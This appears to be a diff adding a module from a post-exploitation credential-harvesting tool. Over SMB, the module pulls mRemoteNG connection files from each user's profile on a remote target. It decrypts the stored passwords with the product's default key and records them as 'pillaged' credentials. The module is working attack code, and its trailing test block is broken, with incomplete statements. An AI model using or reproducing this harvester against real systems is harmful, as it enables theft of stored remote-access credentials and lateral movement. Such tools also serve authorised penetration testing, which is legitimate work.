■ ■ ■ ■ ■ ■
software/manager/mRemoteNG-local.py
| 1 | + | #!/usr/bin/env python |
| 2 | + | # coding:utf-8 |
| 3 | + | # |
| 4 | + | # This software is provided under under a slightly modified version |
| 5 | + | # of the Apache Software License. See the accompanying LICENSE file |
| 6 | + | # for more information. |
| 7 | + | #From : https://github.com/haseebT/mRemoteNG-Decrypt/blob/master/mremoteng_decrypt.py |
| 8 | + | |
| 9 | + | import ntpath |
| 10 | + | from lib.toolbox import bcolors |
| 11 | + | import hashlib |
| 12 | + | import base64 |
| 13 | + | from Cryptodome.Cipher import AES |
| 14 | + | import xml.etree.ElementTree as ET |
| 15 | + | |
| 16 | + | |
| 17 | + | class mRemoteNG(): |
| 18 | + | def __init__(self,smb,myregops,myfileops,logger,options,db,users): |
| 19 | + | self.myregops = myregops |
| 20 | + | self.myfileops = myfileops |
| 21 | + | self.logging = logger |
| 22 | + | self.options = options |
| 23 | + | self.db = db |
| 24 | + | self.users = users |
| 25 | + | self.smb = smb |
| 26 | + | |
| 27 | + | |
| 28 | + | def run(self): |
| 29 | + | self.get_files() |
| 30 | + | #self.process_files() |
| 31 | + | #self.decrypt_all() |
| 32 | + | |
| 33 | + | def get_files(self): |
| 34 | + | self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering mRemoteNG Secrets {bcolors.ENDC}") |
| 35 | + | blacklist = ['.', '..'] |
| 36 | + | |
| 37 | + | user_directories = [("Users\\{username}\\AppData\\Local\\mRemoteNG", ('confCons.xml','mRemoteNG.exe.config')), |
| 38 | + | ("Users\\{username}\\AppData\\Roaming\\mRemoteNG", ('confCons.xml','mRemoteNG.exe.config'))] |
| 39 | + | machine_directories = [("Program Files (x86)\\mRemoteNG\\", 'mRemoteNG.exe.config'), |
| 40 | + | ("PROGRAMFILES\\mRemoteNG\\", 'mRemoteNG.exe.config'), |
| 41 | + | ] |
| 42 | + | |
| 43 | + | for user in self.users: |
| 44 | + | self.logging.debug( |
| 45 | + | f"[{self.options.target_ip}] Looking for {user.username} ") |
| 46 | + | if user.username == 'MACHINE$': |
| 47 | + | continue |
| 48 | + | #directories_to_use = machine_directories |
| 49 | + | else: |
| 50 | + | directories_to_use = user_directories |
| 51 | + | |
| 52 | + | for info in directories_to_use: |
| 53 | + | my_dir, my_mask = info |
| 54 | + | tmp_pwd = my_dir.format(username=user.username) |
| 55 | + | self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") |
| 56 | + | for mask in my_mask: |
| 57 | + | my_directory = self.myfileops.do_ls(tmp_pwd, mask, display=False) |
| 58 | + | for infos in my_directory: |
| 59 | + | longname, is_directory = infos |
| 60 | + | self.logging.debug("ls returned file %s" % longname) |
| 61 | + | if longname not in blacklist and not is_directory: |
| 62 | + | try: |
| 63 | + | # Downloading file |
| 64 | + | localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True) |
| 65 | + | self.process_file(localfile,user.username) |
| 66 | + | except Exception as ex: |
| 67 | + | self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}") |
| 68 | + | self.logging.debug(ex) |
| 69 | + | |
| 70 | + | |
| 71 | + | |
| 72 | + | def process_file(self,localfile,username): |
| 73 | + | try: |
| 74 | + | if "confCons.xml" in localfile: |
| 75 | + | tree = ET.parse(localfile) |
| 76 | + | root = tree.getroot() |
| 77 | + | #Extraire l'element Username et Password pour chaque node |
| 78 | + | for node in list(root): |
| 79 | + | try: |
| 80 | + | name=node.attrib['Name'] |
| 81 | + | username_=node.attrib['Domain']+'\\'+node.attrib['Username'] |
| 82 | + | destination=node.attrib['Protocol']+'://'+node.attrib['Hostname']+':'+node.attrib['Port'] |
| 83 | + | encrypted_password=node.attrib['Password'] |
| 84 | + | encrypted_data = encrypted_password.strip() |
| 85 | + | encrypted_data = base64.b64decode(encrypted_data) |
| 86 | + | |
| 87 | + | salt = encrypted_data[:16] |
| 88 | + | associated_data = encrypted_data[:16] |
| 89 | + | nonce = encrypted_data[16:32] |
| 90 | + | ciphertext = encrypted_data[32:-16] |
| 91 | + | tag = encrypted_data[-16:] |
| 92 | + | default_password="mR3m" |
| 93 | + | self.logging.debug( |
| 94 | + | f"[{self.options.target_ip}] [mRemoteNG] Decrypting with {salt}:{nonce} {ciphertext} {tag}@ {username_}@ {destination}") |
| 95 | + | |
| 96 | + | key = hashlib.pbkdf2_hmac("sha1", default_password.encode(), salt, 1000, dklen=32) |
| 97 | + | |
| 98 | + | cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) |
| 99 | + | cipher.update(associated_data) |
| 100 | + | plaintext = cipher.decrypt_and_verify(ciphertext, tag).decode('utf8') |
| 101 | + | self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN} [mRemoteNG] {bcolors.OKBLUE}{username_}:{plaintext} @ {destination}{bcolors.ENDC}") |
| 102 | + | |
| 103 | + | self.db.add_credz(credz_type='MRemoteNG',credz_username=f"{username_}",credz_password=plaintext,credz_target=str(destination),credz_path=localfile,pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=username) |
| 104 | + | except Exception as ex: |
| 105 | + | self.logging.debug( |
| 106 | + | f"[{self.options.target_ip}] {bcolors.WARNING}Exception in mRemoteNG Process Node of {localfile}{bcolors.ENDC}") |
| 107 | + | self.logging.debug(ex) |
| 108 | + | continue |
| 109 | + | return 1 |
| 110 | + | except Exception as ex: |
| 111 | + | self.logging.debug( |
| 112 | + | f"[{self.options.target_ip}] {bcolors.WARNING}Exception in mRemoteNG ProcessFile {localfile}{bcolors.ENDC}") |
| 113 | + | self.logging.debug(ex) |
| 114 | + | |
| 115 | + | |
| 116 | + | if __name__ == "__main__": |
| 117 | + | filename="/Users/pav/Documents/CloudStation/Hack/Login/TI/NUMEN/interne/dpp/test4/10.75.0.2/Users/solivi08/AppData/Roaming/mRemoteNG/confCons.xml" |
| 118 | + | #hash=binascii.unhexlify(hash) |
| 119 | + | a=mRemoteNG() |
| 120 | + | a. |
| 121 | + | a.reverse_vncpassword(hash=hash) |